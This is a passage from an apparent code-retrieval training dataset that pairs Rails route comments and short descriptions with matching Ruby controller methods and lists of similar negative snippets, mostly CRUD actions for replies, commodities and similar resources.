"def new\n @reply = Reply.new\n @reply.post_id = params[:post_id]\n @replies = Reply.find_all_by_post_id(@reply.post_id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end",
"def do_new_reply\n @feeditem_id = params['feeditem_id']\n @challenge_id = params['challenge_id']\n @reply_text = params['reply_text']\n ChallengeFeeds.post_comment(dbdc_client, @feeditem_id, @reply_text)\n redirect_to :id => @challenge_id, :action => 'show'\n end",
"def post *args\n make_request :post, *args\n end",
"def reply\n @title = \"Reply\"\n @user=User.find(params[:id])\n @micropost=Micropost.new\n respond_to do |format|\n format.html\n format.json { render json: @micropost }\n end\n\n end",
"def create\n @test_answer = TestAnswer.new(test_answer_params)\n\n respond_to do |format|\n if @test_answer.save\n params[:questions].each do |question|\n answer = Answer.new\n answer.test_answer_id = @test_answer.id\n answer.question_id = question.first\n answer.value = question.second.to_i\n answer.save\n end\n format.html { redirect_to @test_answer, notice: 'Test answer was successfully created.' }\n format.json { render :show, status: :created, location: @test_answer }\n else\n format.html { render :new }\n format.json { render json: @test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @testreplypost.destroy\n respond_to do |format|\n format.html { redirect_to testreplyposts_url, notice: 'Testreplypost was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n begin\n # Find the paper\n note = Note.find(params[:note_id])\n # Authenticate\n can_access_club?(Paper.find(note.paper_id).club_id)\n # New note\n new_reply = Reply.create(content: params[:content],\n user_id: current_user.id,\n note_id: note.id)\n if new_reply\n render :json => new_reply\n else\n error \"Failed to create a new reply\"\n end\n rescue ActiveRecord::RecordNotFound\n error \"Can't access the club or the paper or the note\"\n end\n end",
"def create\n @rreply = Rreply.new(rreply_params)\n\n respond_to do |format|\n if @rreply.save\n format.html { redirect_to @rreply, notice: 'Rreply was successfully created.' }\n format.json { render :show, status: :created, location: @rreply }\n else\n format.html { render :new }\n format.json { render json: @rreply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_answer = TestAnswer.new(params[:test_answer])\n\n respond_to do |format|\n if @test_answer.save\n format.html { redirect_to @test_answer, :notice => 'Test answer was successfully created.' }\n format.json { render :json => @test_answer, :status => :created, :location => @test_answer }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @test_answer.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /testreplyposts/1 DELETE /testreplyposts/1.json
|
def destroy
@testreplypost.destroy
respond_to do |format|
format.html { redirect_to testreplyposts_url, notice: 'Testreplypost was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to replies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @reply_vote = ReplyVote.find(params[:id])\n @reply_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Replie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_delete_post\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Delete.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def destroy\n @reply = @message.replies.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to([@user,@message]) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to(replies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client_post = ClientPost.find(params[:id])\n @client_post.destroy\n\n respond_to do |format|\n format.html { redirect_to client_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @post.destroy\r\n\r\n render json: {}, status: :ok\r\n end",
"def destroy\n @post.destroy!\n render json: {status: :ok}\n end",
"def destroy\n @reply_vote = ReplyVote.find(params[:id])\n @reply_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to reply_votes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @reply_puntuation.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def delete(client)\n raise \"Must have an id to delete a post\" unless id\n client.delete(:id => id)\n end",
"def destroy\n @vote_reply = VoteReply.find(params[:id])\n @vote_reply.destroy\n\n respond_to do |format|\n format.html { redirect_to vote_replies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rreply.destroy\n respond_to do |format|\n format.html { redirect_to rreplies_url, notice: 'Rreply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply = @topic.replies.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @likesforreply = Likesforreply.find(params[:id])\n @likesforreply.destroy\n\n respond_to do |format|\n format.html { redirect_to likesforreplies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\t\treply = Reply.find(params[:id])\n\t\tif reply.destroy\n\t\t\trender json: true\n\t\telse\n\t\t\trender json: false\n\t\tend\n\tend",
"def destroy\n @repost.destroy\n respond_to do |format|\n format.html { redirect_to reposts_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /commodities/1 GET /commodities/1.json
|
def show
@commodity = Commodity.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @commodity }
end
end
|
[
"def index\n @commodities = PlanetaryCommodity.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def index\n @commodities = Commodity.all\n end",
"def index\n @commodities = Commodity.all\n if params[:search].present?\n @commodities = @commodities.query(params[:search].to_s)\n end\n @commodities = @commodities.page(params[:page])\n respond_to do |format|\n format.html\n format.js {} \n format.json { \n render json: {:commodities => @commodities}\n } \n end\n end",
"def show\n @planetary_commodity = PlanetaryCommodity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planetary_commodity }\n end\n end",
"def get_commodity(commodity_name)\n @commodities[commodity_name]\n end",
"def index\n @commodoties = Commodoty.all\n end",
"def index\n @categories = Category.all\n @commodities = current_user.commodities.order(\"created_at desc\")\n @selled = @commodities.where(:num => 0).page(params[:page]).per(15)\n @selling = @commodities.where(\"num > ?\", 0).page(params[:page]).per(15)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def new\n @commodity = Commodity.new\n @ingredients = Ingredient.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def index\n# @commodity_items = CommodityItem.all\n @commodity_items = current_company.commodity_items\n end",
"def commodities\n @commodities.values\n end",
"def index\n @commodity_types = CommodityType.all\n end",
"def show\n @equipment = Equipment.find(params[:id])\n\n render json: @equipment\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def show\n @carpool = Carpool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carpool }\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def index\n @opportunities = current_company.opportunities\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @opportunities }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /commodities/new GET /commodities/new.json
|
def new
@commodity = Commodity.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @commodity }
end
end
|
[
"def new\n @commodity = Commodity.new\n @ingredients = Ingredient.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @carpool = Carpool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carpool }\n end\n end",
"def new\n @pool = Pool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pool }\n end\n end",
"def new\n @equipment = Equipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end",
"def new\n @equipment = Equipment.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end",
"def new\n @parcel = @auction.parcels.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @parcel }\n end\n end",
"def create\n @commodoty = Commodoty.new(commodoty_params)\n\n respond_to do |format|\n if @commodoty.save\n format.html { redirect_to @commodoty, notice: 'Commodoty was successfully created.' }\n format.json { render :show, status: :created, location: @commodoty }\n else\n format.html { render :new }\n format.json { render json: @commodoty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @corporations = Corporation.all(:select => \"id, name\").to_json\n @control_tower = ControlTower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @control_tower }\n end\n end",
"def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end",
"def new\n @comit = Comit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comit }\n end\n end",
"def new\n @reserve_list = ReserveList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reserve_list }\n end\n end",
"def new\n @supply = Supply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supply }\n end\n end",
"def new\n @new_comm = NewComm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_comm }\n end\n end",
"def new\n @competency = Competency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competency }\n end\n end",
"def new\n @investor = Company.find(params[:company_id]).investors.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @investor }\n end\n end",
"def new\n @competition_price = CompetitionPrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competition_price }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /commodities POST /commodities.json
|
def create
@commodity = Commodity.new(commodity_params)
respond_to do |format|
if @commodity.save
format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }
format.json { render json: @commodity, status: :created, location: @commodity }
else
format.html { render action: "new" }
format.json { render json: @commodity.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodoty = Commodoty.new(commodoty_params)\n\n respond_to do |format|\n if @commodoty.save\n format.html { redirect_to @commodoty, notice: 'Commodoty was successfully created.' }\n format.json { render :show, status: :created, location: @commodoty }\n else\n format.html { render :new }\n format.json { render json: @commodoty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @commodities = PlanetaryCommodity.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def add_commodity(commodity)\n @commodities[commodity.name] = commodity\n end",
"def index\n @commodities = Commodity.all\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def new\n @commodity = Commodity.new\n @ingredients = Ingredient.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def index\n @commodities = Commodity.all\n if params[:search].present?\n @commodities = @commodities.query(params[:search].to_s)\n end\n @commodities = @commodities.page(params[:page])\n respond_to do |format|\n format.html\n format.js {} \n format.json { \n render json: {:commodities => @commodities}\n } \n end\n end",
"def create\n @commodity_type = CommodityType.new(commodity_type_params)\n\n respond_to do |format|\n if @commodity_type.save\n format.html { redirect_to commodity_types_url, flash: {success: 'ζδ½ζε.' } }\n format.json { render :show, status: :created, location: @commodity_type }\n else\n format.html { render :new }\n format.json { render json: @commodity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @categories = Category.all\n @commodities = current_user.commodities.order(\"created_at desc\")\n @selled = @commodities.where(:num => 0).page(params[:page]).per(15)\n @selling = @commodities.where(\"num > ?\", 0).page(params[:page]).per(15)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def commodities(commodities_hash)\n return self if commodities_hash.nil?\n\n commodities_hash.each do |commodity_hash|\n @sim_data.add_commodity(Commodity.new(commodity_hash['Name']))\n end\n\n self\n end",
"def index\n @commodoties = Commodoty.all\n end",
"def create\n @company_params = company_params.to_json\n @reponse = HTTParty.post(\"https://rails-api-ipo.herokuapp.com/api/v1/companies.json\",\n :body => @company_params,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/companies/'+(@reponse['id'].to_s), notice: 'Company was successfully created.' }\n end\n end",
"def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend",
"def create\n @commodity_category = CommodityCategory.new(commodity_category_params)\n @commodity_category.created_by = current_user.id\n\n respond_to do |format|\n if @commodity_category.save\n format.html { redirect_to commodity_categories_path, notice: 'Commodity category was successfully created.' }\n format.json { render :show, status: :created, location: @commodity_category }\n else\n format.html { render :new }\n format.json { render json: @commodity_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n# @commodity_items = CommodityItem.all\n @commodity_items = current_company.commodity_items\n end",
"def index\n @commodity_types = CommodityType.all\n end",
"def get_commodity(commodity_name)\n @commodities[commodity_name]\n end",
"def commodities\n @commodities.values\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /commodities/1 PUT /commodities/1.json
|
def update
@commodity = Commodity.find(params[:id])
respond_to do |format|
if @commodity.update_attributes(commodity_params)
format.html { redirect_to commodities_url, notice: 'Commodity was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @commodity.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n if @commodity.update_attributes(params[:commodity])\n format.html { redirect_to @commodity, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @commodoty.update(commodoty_params)\n format.html { redirect_to @commodoty, notice: 'Commodoty was successfully updated.' }\n format.json { render :show, status: :ok, location: @commodoty }\n else\n format.html { render :edit }\n format.json { render json: @commodoty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @planetary_commodity = PlanetaryCommodity.find(params[:id])\n \n respond_to do |format|\n if @planetary_commodity.update_attributes(params[:planetary_commodity])\n format.html { redirect_to @planetary_commodity, notice: 'Planetary commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @planetary_commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company_id = company_params[:company_id]\n @reponse = HTTParty.put(\"https://rails-api-ipo.herokuapp.com/api/v1/companies/#{@company_id}.json\",\n :body => {:company_name => company_params[:company_name]}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/companies/'+(@reponse['id'].to_s), notice: 'Company was successfully created.' }\n end\n end",
"def update\n respond_to do |format|\n if @commodity_item.update(commodity_item_params)\n format.html { redirect_to @commodity_item, notice: 'Commodity item was successfully updated.' }\n format.json { render :show, status: :ok, location: @commodity_item }\n else\n format.html { render :edit }\n format.json { render json: @commodity_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_commodity(commodity)\n @commodities[commodity.name] = commodity\n end",
"def update\n respond_to do |format|\n if @commodity_type.update(commodity_type_params)\n format.html { redirect_to commodity_types_url, flash: {success: 'ζδ½ζε.' }}\n format.json { render :show, status: :ok, location: @commodity_type }\n else\n format.html { render :edit }\n format.json { render json: @commodity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_company(id, model) path = \"/api/v2/companies/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def update\n @equipment = Equipment.find(params[:id])\n\n if @equipment.update(equipment_params)\n head :no_content\n else\n render json: @equipment.errors, status: :unprocessable_entity\n end\n end",
"def create\n @commodoty = Commodoty.new(commodoty_params)\n\n respond_to do |format|\n if @commodoty.save\n format.html { redirect_to @commodoty, notice: 'Commodoty was successfully created.' }\n format.json { render :show, status: :created, location: @commodoty }\n else\n format.html { render :new }\n format.json { render json: @commodoty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @commodities = PlanetaryCommodity.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def update\n @carpool = Carpool.find(params[:id])\n\n respond_to do |format|\n if @carpool.update_attributes(params[:carpool])\n format.html { redirect_to @carpool, notice: 'Carpool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @commodities = Commodity.all\n end",
"def update\n @opportunity = Opportunity.find(params[:id])\n\n if @opportunity.update(opportunity_params)\n head :no_content\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @commodity.destroy\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def new\n @commodity = Commodity.new\n @ingredients = Ingredient.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /commodities/1 DELETE /commodities/1.json
|
def destroy
@commodity = Commodity.find(params[:id])
@commodity.destroy
respond_to do |format|
format.html { redirect_to commodities_url }
format.json { head :no_content }
end
end
|
[
"def destroy\n @commodity.destroy\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodoty.destroy\n respond_to do |format|\n format.html { redirect_to commodoties_url, notice: 'Commodoty was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accommodation = Accommodation.find(params[:id])\n @accommodation.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity_type.destroy\n respond_to do |format|\n format.html { redirect_to commodity_types_url, flash: {success: 'ζδ½ζε.' } }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accommodation.destroy\n respond_to do |format|\n format.html { redirect_to accommodations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @depot_fuel.destroy\n respond_to do |format|\n format.html { redirect_to depot_fuels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commission.destroy\n respond_to do |format|\n format.html { redirect_to commissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity_category.destroy\n respond_to do |format|\n format.html { redirect_to commodity_categories_url, notice: 'Commodity category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company_growth.destroy\n respond_to do |format|\n format.html { redirect_to company_growths_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_parcel = FoodParcel.find(params[:id])\n @food_parcel.destroy\n\n respond_to do |format|\n format.html { redirect_to food_parcels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commission = Commission.find(params[:id])\n @commission.destroy\n\n respond_to do |format|\n format.html { redirect_to commissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comite = Comite.find(params[:id])\n @comite.destroy\n\n respond_to do |format|\n format.html { redirect_to comites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competency = Competency.find(params[:id])\n @competency.destroy\n\n respond_to do |format|\n format.html { redirect_to competencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comit = Comit.find(params[:id])\n @comit.destroy\n\n respond_to do |format|\n format.html { redirect_to comits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment = Equipment.find(params[:id])\n @equipment.destroy\n\n respond_to do |format|\n format.html { redirect_to equipment_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipy = Recipy.find(params[:id])\n @recipy.destroy\n\n respond_to do |format|\n format.html { redirect_to recipies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n \n render json: @company, status: :ok \n end",
"def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
The definition of the ranks for this board. By default it will be files 1 .. 8. You can change this by initializing the board with a different range.
|
def ranks
Outpost::Config.instance.ranks
end
|
[
"def ranks\n @ranks ||= RANK_RANGE.map(&:to_i)\n end",
"def ranks\n @ranks ||= (viewed_from_side == :black) ? Chess::Ranks : Chess::Ranks.reverse\n end",
"def rank_names\n (1..8).to_a\n end",
"def card_ranks\n load_cards_data['ranks']\n end",
"def rank=(value)\n @rank = value\n end",
"def ranked_board\n # pre-process to remove sunken ships\n string = remove_sunken_ships board_to_string\n self.board = string_to_board(string)\n set_base_rank\n increment_adjacent_to_hits\n increment_ends_of_pairs\n cell_rankings\n end",
"def rank\n puts 'RANK'\n puts self\n puts current_value\n value_idx = Card.possible_ranks.index(current_value)\n ranks[value_idx]\n end",
"def set_rank\n ranks = self.moves.collect{ |x| x.rank }\n if self.state == 'max'\n self.rank = ranks.max\n elsif self.state == 'min'\n self.rank = ranks.min\n end\n end",
"def each_rank( square = nil )\n\t\t\tif square\n\t\t\t\tfile = square[0, 1]\n\t\t\t\trank = square[1, 1]\n\t\t\t\tyield( (file.succ..\"h\").map do |f|\n\t\t\t\t\tname = \"#{f}#{rank}\"\n\t\t\t\t\t[name, @squares[name]]\n\t\t\t\tend )\n\t\t\t\tyield( (\"a\"...file).to_a.reverse.map do |f|\n\t\t\t\t\tname = \"#{f}#{rank}\"\n\t\t\t\t\t[name, @squares[name]]\n\t\t\t\tend )\n\t\t\telse\n\t\t\t\t(1..8).each do |rank|\n\t\t\t\t\tyield( (\"a\"..\"h\").map do |file|\n\t\t\t\t\t\tname = \"#{file}#{rank}\"\n\t\t\t\t\t\t[name, @squares[name]]\n\t\t\t\t\tend )\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def get_rank_list(specifier)\n\t\tif(specifier == 'max')\n\t\t\t[['Tenth Gup', 1],['Ninth Gup', 2],['Eighth Gup', 3], ['Seventh Gup', 4],['Sixth Gup', 5],['Fifth Gup', 6], ['Fourth Gup', 7],['Third Gup', 8],['Second Gup', 9], ['First Gup', 10],['First Dan', 11],['Second Dan', 12], ['Third Dan', 13],['Fourth Dan', 14],['Senior Master', 15], ['none', nil]]\n\t\telse\n\t\t\t[['Tenth Gup', 1],['Ninth Gup', 2],['Eighth Gup', 3], ['Seventh Gup', 4],['Sixth Gup', 5],['Fifth Gup', 6], ['Fourth Gup', 7],['Third Gup', 8],['Second Gup', 9], ['First Gup', 10],['First Dan', 11],['Second Dan', 12], ['Third Dan', 13],['Fourth Dan', 14],['Senior Master', 15]]\n\t\tend\n\tend",
"def rank_for_print\n rank_print = @rank\n case @rank\n when :A then rank_print = \"Ace\"\n when :K then rank_print = \"King\"\n when :Q then rank_print = \"Queen\"\n when :J then rank_print = \"Jack\"\n end\n rank_print\n end",
"def rank\n return @rank\n end",
"def to_i\n @rank\n end",
"def ranking(rank)\n @ranking = rank\n end",
"def rank_range_for(section)\n\t\tif section.max_rank.nil?\n\t\t\t\"#{rank_name(section.min_rank)} and Up\"\n\t\telse\n\t\t\t\"#{rank_name(section.min_rank)} - #{rank_name(section.max_rank)}\"\n\t\tend\n\tend",
"def starting_rank\n Pawn.starting_ranks[color]\n end",
"def ranks()\n h = Hash.new {|h,k| h[k]=[]}\n self.sort.each_with_index{|x,idx| h[x] << idx}\n self.map{|x| h[x].first + (h[x].size-1)/2.0}\n end",
"def parse_rank(arg) # :doc:\n parse_enum(arg, Name.all_ranks)\n end",
"def initial_ranks\n raise NotImplementedError\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
This helper will give you a way to cycle the colors
|
def cycled_colors
@cycled_colors ||= colors.cycle
end
|
[
"def colourable_cycle(colours, speed)\n @colourable_loop = true\n colourable_start_list(colours, speed)\n end",
"def cycle colors=[], delay=0.5\n unless colors.all? {|c| COLORS.include? c}\n raise \"Invalid color\"\n end\n\n reset\n\n @thread = Thread.new do\n i = 0\n loop do\n set_color_raw colors[i]\n i = (i+1) % colors.length\n sleep delay\n end\n end\n end",
"def next_color()\n @pulseStep += 1\n @pulseStep = 0 if @pulseStep >= @pulse*2\n color\n end",
"def rainbow_cycle\n 0.step(255, 2) do |pos|\n fill_each { |ii| wheel(pos - (ii * 256 / length)) }\n show\n end\n end",
"def next_color(i)\n '#' + next_color_component(:r, i) + next_color_component(:g, i) + next_color_component(:b, i)\n end",
"def cycle_gradient(options)\n raise ArgumentError unless options.include?(:start_color) && options.include?(:end_color)\n count = options.delete(:count) || 4\n steps = count - 1\n @_current_step = 0 unless defined? @_current_step\n \n # First line splits the hex string into channels for each color and zips the two together,\n # resulting in an array of ranges for each channel, eg [[0, 255], [0,255], [0,255]]. The\n # second line then does the interpolation on each channel, formats the string into the\n # proper hex, and joins it all together.\n\n current_color = options.delete(:start_color).scan(/../).collect{|b| b.hex}.zip(options.delete(:end_color).scan(/../).collect{|b| b.hex}).\n collect { |r| \"%02x\"%(r.first + ((r.last - r.first) / steps) * @_current_step) }.join\n @_current_step = (@_current_step + 1) % count\n \n current_color\n end",
"def next_color\n @previous_color ||= 0\n @previous_color += 1\n \n self.colors[(@previous_color-1) % self.colors.size]\n end",
"def cycle!( increment_pulse=true, do_move=true ) \n @color = next_color if increment_pulse\n change_vector\n move if do_move\n end",
"def scan_for_colors; end",
